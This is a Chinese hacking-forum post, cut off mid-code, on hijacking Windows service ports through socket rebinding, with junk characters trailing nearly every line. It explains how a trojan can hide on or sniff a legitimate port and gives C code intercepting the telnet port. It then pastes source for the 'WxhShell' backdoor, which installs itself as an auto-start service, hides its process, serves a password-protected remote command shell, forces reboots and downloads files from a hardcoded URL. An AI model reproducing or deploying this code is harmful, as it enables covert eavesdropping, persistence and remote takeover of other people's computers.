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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hR(\%p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a'r8J~:jy  
gw O]U=Y  
  saddr.sin_family = AF_INET; +~Wg@   
clyZD`*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _<}oBh  
;auT!a~a#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fAYp\ k  
wkc)2z   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }xJ ).D  
)&Af[m S  
  这意味着什么?意味着可以进行如下的攻击: =jz [}5  
)jm!bR`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yGj'0c::  
b v5BV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4z6kFQgu  
2K wr=t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @` 5P^H7  
3:qn\"Hj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pV[SY6/  
_D.4=2@|l8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dT?mMTKn+  
"!,)Pv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #|-i*2@oR  
 r"YOA@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M 5c$  
xe`SnJgA  
  #include >W>3w  
  #include @KJ~M3d0l  
  #include E/OfkL*\  
  #include    cb82k[L6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?vh1 >1D  
  int main() JIL(\d  
  { q!f'?yFYK  
  WORD wVersionRequested; GBSuTu8  
  DWORD ret; a1#",%{I  
  WSADATA wsaData; vLI'Z)\  
  BOOL val; ]Ub"NLYV  
  SOCKADDR_IN saddr; grVPu! B;  
  SOCKADDR_IN scaddr; -RI&uFqOI  
  int err; :yxP3e%rp  
  SOCKET s; b,hRk1  
  SOCKET sc;  \uG^w(*)  
  int caddsize; yo^M>^P\N  
  HANDLE mt; ze"`5z26|  
  DWORD tid;   F,}7rhY(U^  
  wVersionRequested = MAKEWORD( 2, 2 ); q8 SHFKE  
  err = WSAStartup( wVersionRequested, &wsaData ); \$+#7( K  
  if ( err != 0 ) { _*w kTI+j  
  printf("error!WSAStartup failed!\n"); 4LXC;gZ  
  return -1; #n_t5 O[  
  } F81Kxcs  
  saddr.sin_family = AF_INET; U5:5$T,C  
   U2G[uDa;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pL5Bz!_r  
F e1^9ja  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hm, H3pN  
  saddr.sin_port = htons(23); <I 0EjV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5Sz&j  
  { WU\Bs2  
  printf("error!socket failed!\n"); =I8^E\O("  
  return -1; k 5gvo  
  } p54 e'Zb  
  val = TRUE; Lo*vt42{4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &iO53I^r/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #sm@|'Q%  
  { NjFlV(XT}  
  printf("error!setsockopt failed!\n"); o)WzZ,\F^J  
  return -1; C23Gp3_0/  
  } AGhr(\j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `D $ "K1u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y>2oU`ly,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QC Jf   
VXPs YR&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P" aw--f(  
  { D4jZh+_|S  
  ret=GetLastError(); n,#o6ali>  
  printf("error!bind failed!\n"); ]u|5ZCv0  
  return -1; s:xt4<  
  } nTv^][  
  listen(s,2); &8HJ4Vj2  
  while(1) NqC}}N\,  
  { 8}aSSL]  
  caddsize = sizeof(scaddr); `3^%ft~l  
  //接受连接请求 "G!,gtA~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7*eIs2aY  
  if(sc!=INVALID_SOCKET) :Qu.CvYF  
  { oM!zeJNA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /_Fi4wZ  
  if(mt==NULL) /u~L3Cp(  
  { ~,m5dP#[bV  
  printf("Thread Creat Failed!\n"); Um!LF"Z  
  break; 3ih:t'N-  
  } 8;i'dF:)  
  } ]D_ AZI  
  CloseHandle(mt); =AP0{  
  } 1}q(Pn2  
  closesocket(s); iw^"?:'%  
  WSACleanup(); E?h'OR@_ L  
  return 0; 5Z>+NKQ  
  }   :DJLkMP  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2m,t<Y;  
  { {!*dk V  
  SOCKET ss = (SOCKET)lpParam; Ask~  
  SOCKET sc; >P}6/L  
  unsigned char buf[4096]; |@rYh-5  
  SOCKADDR_IN saddr; &UQP9wS4v  
  long num; g$U7bCHG  
  DWORD val; ua!RwSo  
  DWORD ret; 'XI-x[w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7I0K= 'D7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RY}:&vWDk  
  saddr.sin_family = AF_INET; ob K6GG?ZE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4oPr|OKj{*  
  saddr.sin_port = htons(23); W]5sqtF;6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [Qn=y/._r  
  { $-uMWJ)l  
  printf("error!socket failed!\n"); ;y.<I&  
  return -1; 7Ga'FT.F  
  } rT'<6]`  
  val = 100; Ubv_ a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \|7Y"WEQ  
  { 3uuB/8  
  ret = GetLastError(); Y'?{yx{  
  return -1; K7},X01^  
  } 8Yw V"+Fu/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `G2!{3UD  
  { Q[ .d  
  ret = GetLastError(); )2?A|f8  
  return -1; Ym wb2]M  
  } "b0!h6$!H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  s x)x7  
  { tC&jzN"  
  printf("error!socket connect failed!\n"); a;v;%rs  
  closesocket(sc); nm`}Z'&)  
  closesocket(ss); .~%,eF;l$  
  return -1; W;T (q~XK  
  } -v~XS-F  
  while(1) ;'oi7b  
  { 84c[Z   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7jPn6uz>w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y*j8OA.S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 78O5$?b;#  
  num = recv(ss,buf,4096,0); * oru;=D@8  
  if(num>0) H8$";T(I  
  send(sc,buf,num,0); |"Fm<  
  else if(num==0) QD^"cPC)mM  
  break; ,QHn} 3fW  
  num = recv(sc,buf,4096,0); ~p$ncIr2Q  
  if(num>0) wb6$R};?  
  send(ss,buf,num,0); e:(~=9}Li  
  else if(num==0) &\Yd)#B/  
  break; 8Og)(BC  
  } PF] Vt  
  closesocket(ss); J:2Su1"ODh  
  closesocket(sc); nEh^{6  
  return 0 ; hJGWa%`  
  } Iq(;?_  
l 5z8]/  
"yPKdwP  
========================================================== y:dwx*Q9I  
0zqTX< A  
下边附上一个代码,,WXhSHELL 4.'KT;[_1/  
B=hJ*;:p  
========================================================== 5YgUk[J  
0u8(*?  
#include "stdafx.h" ]|4mD3O  
6N'HXL UlQ  
#include <stdio.h> ?`Som_vKO  
#include <string.h> J.pe&1  
#include <windows.h> EhHW`  
#include <winsock2.h> OuU]A[r  
#include <winsvc.h> ?r}!d2:dX  
#include <urlmon.h> E']Gh  
i ,g<y  
#pragma comment (lib, "Ws2_32.lib") \:-N<[  
#pragma comment (lib, "urlmon.lib") ATf{;S}  
(1}"I RX.  
#define MAX_USER   100 // 最大客户端连接数 -O>*` O>M  
#define BUF_SOCK   200 // sock buffer {y7,n  
#define KEY_BUFF   255 // 输入 buffer ii]'XBSVd  
l|K`'YS!<{  
#define REBOOT     0   // 重启 p> 4bj>Ql  
#define SHUTDOWN   1   // 关机 {bPcr hB  
 eZ +uW0  
#define DEF_PORT   5000 // 监听端口 K7 $Vl"l  
!FR1yO'd>  
#define REG_LEN     16   // 注册表键长度 me/ae{  
#define SVC_LEN     80   // NT服务名长度  P7 p'j  
oxL4* bqZ  
// 从dll定义API e3{L%rQE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _Rnq5y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (r )fx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -~ ycr[}x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g6 3?(+Fz  
N>_d {=P  
// wxhshell配置信息 U-3uT&m*9.  
struct WSCFG { 9 TILrK  
  int ws_port;         // 监听端口 "ktC1y1  
  char ws_passstr[REG_LEN]; // 口令 *oz=k  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0!,)7  
  char ws_regname[REG_LEN]; // 注册表键名 .j0]hn]  
  char ws_svcname[REG_LEN]; // 服务名 {T[/B"QZG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rCO:39L-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'BwM{c-O"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n)rF!a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =AJ I3 'x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2 -M]!x)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UT7".1H  
=m= utd8  
}; Gg9NG`e6I  
u(|k/~\  
// default Wxhshell configuration =.Q|gZ   
struct WSCFG wscfg={DEF_PORT, ;j/-ndd&&  
    "xuhuanlingzhe", jZ>'q/  
    1, )04lf*ti  
    "Wxhshell", ';?b99  
    "Wxhshell", R0*+GIRA(  
            "WxhShell Service", O[fgn;@|  
    "Wrsky Windows CmdShell Service", ]]Da/^K=Z  
    "Please Input Your Password: ", eX>X=Ku  
  1, JSQ*8wDcl  
  "http://www.wrsky.com/wxhshell.exe", 84*Fal~Som  
  "Wxhshell.exe" tr\Vr;zd  
    }; Wy%F   
D?_#6i;DJ  
// 消息定义模块 ^y"$k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =7`0hS<@F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7a:mZ[Vh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {1 94u %'  
char *msg_ws_ext="\n\rExit."; {G%!M+n<  
char *msg_ws_end="\n\rQuit."; ')w*c  
char *msg_ws_boot="\n\rReboot..."; L%.GKANM  
char *msg_ws_poff="\n\rShutdown..."; l@om2|B  
char *msg_ws_down="\n\rSave to "; &p$SFH?s  
& xqr&(o  
char *msg_ws_err="\n\rErr!"; B$)6X  
char *msg_ws_ok="\n\rOK!"; -zVa[ &  
-ijQT B  
char ExeFile[MAX_PATH]; X+K$y:UZ  
int nUser = 0; Tl3{)(ezx  
HANDLE handles[MAX_USER]; 0R2 AhA#  
int OsIsNt; 0Fh*8a}?b  
tnmuCz  
SERVICE_STATUS       serviceStatus; N+PW,a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^eEj 5Rh  
B"I> mw  
// 函数声明 =`X@+~%-  
int Install(void); G K @]61b  
int Uninstall(void); D4r5wc%  
int DownloadFile(char *sURL, SOCKET wsh); ZCMB]bL-e  
int Boot(int flag); w%k)J{\  
void HideProc(void); %d9UWQ  
int GetOsVer(void); $0Y&r]'  
int Wxhshell(SOCKET wsl); v=|BqG`  
void TalkWithClient(void *cs); OI.2CF  
int CmdShell(SOCKET sock); 3HA$k[%7P  
int StartFromService(void); Xze   
int StartWxhshell(LPSTR lpCmdLine); s%z'1KPS  
bkl'0 p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )8yee~+TN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L&'0d$Tg8  
VmkYl$WZo  
// 数据结构和表定义 v) q6  
SERVICE_TABLE_ENTRY DispatchTable[] = WU1o4&OF  
{ 8Db~OYVJG  
{wscfg.ws_svcname, NTServiceMain}, bhSpSul  
{NULL, NULL} < P5;8  
}; q9oF8&O,  
WL}6YSC  
// 自我安装 =D4EPfQn1  
int Install(void) W &4`eB/4}  
{ H9w*U  
  char svExeFile[MAX_PATH]; g}3c r .  
  HKEY key; l#o43xr  
  strcpy(svExeFile,ExeFile); Em@h5V  
B<[;rk  
// 如果是win9x系统,修改注册表设为自启动 E!VAA=  
if(!OsIsNt) { [JVI@1T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FV$= l %  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tb0XXE E  
  RegCloseKey(key); @6$r| :]G-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $#@4i4TN-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %i%Xi+{3  
  RegCloseKey(key); 1 qUdj[Bj  
  return 0; NI(`o8fN  
    } ok\+$+ $ju  
  } GKY:"q&h  
} _u;^w}0  
else { #fGb M!3p  
9rao&\eH  
// 如果是NT以上系统,安装为系统服务 Bw*z4qb{yH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _T5~B"*  
if (schSCManager!=0) d!KX.K\NM,  
{ BdO$  
  SC_HANDLE schService = CreateService \MtiLaI"  
  ( ~~zw[#'  
  schSCManager, jD^L<  
  wscfg.ws_svcname, 9v cUo?/  
  wscfg.ws_svcdisp, |k/;.  
  SERVICE_ALL_ACCESS, \Zf&&7v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ip4NkUI3T  
  SERVICE_AUTO_START, sp**Sg)  
  SERVICE_ERROR_NORMAL, -t6d`p;dR  
  svExeFile, M:`hb$k:  
  NULL, 4Ro(r sO  
  NULL, X=\ #n-*  
  NULL, C3@.75-E  
  NULL, I I>2\d|   
  NULL sjTsaM;<  
  ); P>@`hZ9 o  
  if (schService!=0) D?\K~U* >  
  { 2 J4|7UwJ  
  CloseServiceHandle(schService); ;mi0Q.  
  CloseServiceHandle(schSCManager); 1~ S Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6>=>Yj  
  strcat(svExeFile,wscfg.ws_svcname); )1fQhdO}x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ri JyH;)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eN> (IW  
  RegCloseKey(key); jq0tMTb%L  
  return 0; dWqFP  
    } 4(aesZ8h  
  } 7-o=E=  
  CloseServiceHandle(schSCManager); \aZ(@eF@@Q  
} 0='DDy  
} : l>Ue&  
@>9p2u)=  
return 1; rIb[gm)Rk  
} (FjgnsW  
u\e#_*>  
// 自我卸载 j^%i?BWw  
int Uninstall(void) btOTDqG`a  
{ =H,cwSE+%  
  HKEY key; !7xp<=  
CMBW]b|  
if(!OsIsNt) { <go~WpA|r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qz0v1057#  
  RegDeleteValue(key,wscfg.ws_regname); 4[J3HLQ  
  RegCloseKey(key); ,#wVqBEk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5R=lTx/Hj  
  RegDeleteValue(key,wscfg.ws_regname); hx^a&"  
  RegCloseKey(key); `90v~O F  
  return 0; kuH;AMdv  
  } g?>AY2f[5  
} /5x `TT  
} r0 X2cc  
else { o`77gkLO  
z'qVEHc)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7%E1F)%  
if (schSCManager!=0) GcU/   
{ -YuvEm#f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h+74W0 $  
  if (schService!=0) zDl, bLiJ  
  { O h" ^  
  if(DeleteService(schService)!=0) { Mb>6.l  
  CloseServiceHandle(schService); CD&m4^X5D  
  CloseServiceHandle(schSCManager); *[SsvlFt  
  return 0; H*\[:tPa  
  } )2FO+_K?T  
  CloseServiceHandle(schService); tH'VV-!MZ  
  } poeXi\e!(  
  CloseServiceHandle(schSCManager); OpL 6Y+<  
} w//w$}v  
} }=|ZEhtOp  
-1_Z*?=-  
return 1; Z>,X$ Y6<  
} 4w z 6%  
bY2Mw8e%  
// 从指定url下载文件 ^J RTi'v  
int DownloadFile(char *sURL, SOCKET wsh) zl:D|h77  
{ b {I`$E<[  
  HRESULT hr; ?:FotnU*p  
char seps[]= "/"; Hxl,U>za#  
char *token; T8441qo{>  
char *file; RE.@ +A  
char myURL[MAX_PATH]; AfEEYP)N  
char myFILE[MAX_PATH]; +z D'r5  
x5|v# -F ^  
strcpy(myURL,sURL); A$F;fCV*  
  token=strtok(myURL,seps); ^97ZH)Ww  
  while(token!=NULL) _#4,&bh8  
  { ,\M_q">npc  
    file=token; v$i%>tQ\  
  token=strtok(NULL,seps); _B1uE2j9  
  } J:lwq@u  
{@#L'i|  
GetCurrentDirectory(MAX_PATH,myFILE); -$)Et|  
strcat(myFILE, "\\"); A C^[3  
strcat(myFILE, file); ,xz^ k/.  
  send(wsh,myFILE,strlen(myFILE),0); 68c;Vb  
send(wsh,"...",3,0); yy } 0_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qf|}%}% fp  
  if(hr==S_OK) 1!`768  
return 0; /a(zLHyz)  
else e\_6/j7'  
return 1; '&QT}B  
X}-H=1T?  
} f`,Hr?H  
.O#lab`:2  
// 系统电源模块 YgiGI <U  
int Boot(int flag) 2A%T!9J3  
{ 9-Qtj49  
  HANDLE hToken; x!~OK::o8  
  TOKEN_PRIVILEGES tkp; %~5Q^3$O  
L%d?eHF  
  if(OsIsNt) { 12PE{Mut  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lDU:EJ&DHE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !5OMAWNU@  
    tkp.PrivilegeCount = 1; J\so8uT:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Kk98FI0]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;0!Wd  
if(flag==REBOOT) { <PN;D#2bh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) />[6uvy#Q  
  return 0; 4)iEj  
} ijqdZ+  
else { &{/>Sv!6#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i`aG  
  return 0; (YJ AT  
} #=H}6!18  
  } JX)z<Dz$  
  else { Cj1UD;  
if(flag==REBOOT) { B ^(rUR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *wB-lg7%  
  return 0; ,A!e"=HF  
} b<(UmRxx3  
else { % B &?D@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I*t)x,~3  
  return 0; _*$B|%k   
} ,Q#tA|:8j  
} '<=MhNh\  
gqD^Bs'VF  
return 1; fF>qU-  
} YaZt+WA  
 |~uzQU7  
// win9x进程隐藏模块 W:poUG1UR  
void HideProc(void) /e sk  
{ K2rS[Kdfaq  
z83:a)U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `VFl|o#H  
  if ( hKernel != NULL ) 6+;2B<II  
  { iB3 +KR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f5b`gvCY,#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pd>a6 lI`  
    FreeLibrary(hKernel); ~R@m!'I k  
  } !$xEX,vj|W  
N^yO- xk  
return; KHus/M&0  
} @*"<U]  
/-YlC (kL  
// 获取操作系统版本 /^33 e+j  
int GetOsVer(void) fd"~[ z[  
{ sR>;h /  
  OSVERSIONINFO winfo; 9;Pu9s[q2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ls "\YSq$  
  GetVersionEx(&winfo); V=4u7!ha  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dezL{:Ya  
  return 1; Vc52s+7=8  
  else b)hOzx  
  return 0; 3zA=q[C  
} y]pN=<*h5  
]6%%X+$7  
// 客户端句柄模块 @ U8}sH^  
int Wxhshell(SOCKET wsl) ~:}XVt0%8  
{ qv*uM0G6i  
  SOCKET wsh; h NOYFH  
  struct sockaddr_in client; "4k=(R?  
  DWORD myID; ckjVa\  
%M)oHX1p  
  while(nUser<MAX_USER) 9poEUjBI  
{ wz0$g4  
  int nSize=sizeof(client); fpK0MS]=b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "p~]m~g  
  if(wsh==INVALID_SOCKET) return 1; B mBzOk^  
/yw\(|T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8@W/43K8-  
if(handles[nUser]==0) &8_f'+i0  
  closesocket(wsh); d+m6-4[_k  
else VVQ74b  
  nUser++; (_&V9vat=  
  } (-' 0g@0UA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UGC|C F2K  
N]s7/s  
  return 0; vzyI::f?  
} >H1|c%w  
&X]=Q pl  
// 关闭 socket -90ZI1O`  
void CloseIt(SOCKET wsh) F%_,]^ n[  
{ 3n84YX{  
closesocket(wsh); zsMw5C  
nUser--; Fy _<Ui  
ExitThread(0); p[@oF5M  
} _KM$u>B8  
hKH$AEHEU}  
// 客户端请求句柄 Ss<_K>wk  
void TalkWithClient(void *cs) q:- ]d0B+  
{ l q\'  
F'UguC">  
  SOCKET wsh=(SOCKET)cs; Dmm r]~  
  char pwd[SVC_LEN]; fs3 -rXoB  
  char cmd[KEY_BUFF]; ycl>git]  
char chr[1]; cJHABdK-  
int i,j; }*B qi7E>  
KXx@ {cv  
  while (nUser < MAX_USER) { PQ&Q71  
/_:T\`5uO  
if(wscfg.ws_passstr) { @O<@f8-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #lyM+.T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K[#v(<)  
  //ZeroMemory(pwd,KEY_BUFF); Qw6KX#n  
      i=0; wHt#'`5  
  while(i<SVC_LEN) { uzVG q!'H  
I_zk'  
  // 设置超时 {+/ .5  
  fd_set FdRead; !rsa4t@ t  
  struct timeval TimeOut;  $||ns@F+  
  FD_ZERO(&FdRead); RI5g+Du?  
  FD_SET(wsh,&FdRead); lC /Hib  
  TimeOut.tv_sec=8; ET,0ux9F  
  TimeOut.tv_usec=0; N o_$!)J.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %<=w[*i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .o\;,l2  
\`P2Yq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); clq~ ;hx  
  pwd=chr[0]; DYT@BiW{  
  if(chr[0]==0xd || chr[0]==0xa) { yBPt%EF  
  pwd=0; }rKJeOo^x?  
  break; ,#P,B ;r~  
  } &Hlm{FHU  
  i++; 7z/(V\9B  
    } +(=0CA0GE  
*;OJ ~zT  
  // 如果是非法用户,关闭 socket +gbX}jF0%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q{.{#G  
} -'O Q-5  
>/!7i3Ow-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f%Z;05  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L@1,7@  
"}'8`k+d  
while(1) { g+>=C   
;gxN@%}@  
  ZeroMemory(cmd,KEY_BUFF); xZ.~:V03\t  
W9&0k+#^  
      // 自动支持客户端 telnet标准   93E,  
  j=0; 7]/dg*A )C  
  while(j<KEY_BUFF) { K9e~Wl<3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2YE;m&  
  cmd[j]=chr[0]; 4T-,'P{?  
  if(chr[0]==0xa || chr[0]==0xd) { zz(!t eBC  
  cmd[j]=0; ;NiArcAS!  
  break; W"b&M%y|  
  } $zk^yumdE  
  j++; O8K@&V p  
    } wMH[QYb<*  
Ss@u,`pr  
  // 下载文件 Xmap9x  
  if(strstr(cmd,"http://")) { Q vv\+Jp^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p3M#XC_H]  
  if(DownloadFile(cmd,wsh)) rxs~y{ Xi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z&+NmOY4  
  else /v}P)&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zuC58B  
  } <ICZ"F`S  
  else { )z2|"Lp  
5y1or  
    switch(cmd[0]) { kq)+@p  
  1s{ISWm  
  // 帮助 u @{E{  
  case '?': { pY+.SuM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7ei>L]gm%  
    break; Q!4i_)rM  
  }  ${A5-  
  // 安装 G0_&gx`  
  case 'i': { ,{.zh&=4  
    if(Install()) U0NOU#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w)45SZ.  
    else B#HV20\?v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +V)qep"  
    break; 5x*5|8  
    } f,St h7y  
  // 卸载 k sB  
  case 'r': { q+YuVQ-fx  
    if(Uninstall()) SQq6X63 \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1^Kj8*O8e  
    else Yw6DJY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6B7<  
    break; 1vB-M6(  
    } eq^TA1>T  
  // 显示 wxhshell 所在路径 cvZni#o2)  
  case 'p': { ?j1_ n,d  
    char svExeFile[MAX_PATH]; a$w},= `E  
    strcpy(svExeFile,"\n\r"); IZv~[vi_  
      strcat(svExeFile,ExeFile); 8|1`Tn}o  
        send(wsh,svExeFile,strlen(svExeFile),0); 5;X {.2  
    break; c u\ls^  
    } Cw 1 9y  
  // 重启 7m@ )Lv  
  case 'b': { Ihdu1]~R{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gs+\D0o!  
    if(Boot(REBOOT)) ANckv|&'v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4rI:1 yGt@  
    else { 54<6Dy f  
    closesocket(wsh); 3LKB;  
    ExitThread(0); CD^CUbGk  
    } c]6V"Bo}A  
    break; %4j&H!y-w;  
    } ;knd7SC   
  // 关机 VBu8}}Ql  
  case 'd': { Uh>.v |P6  
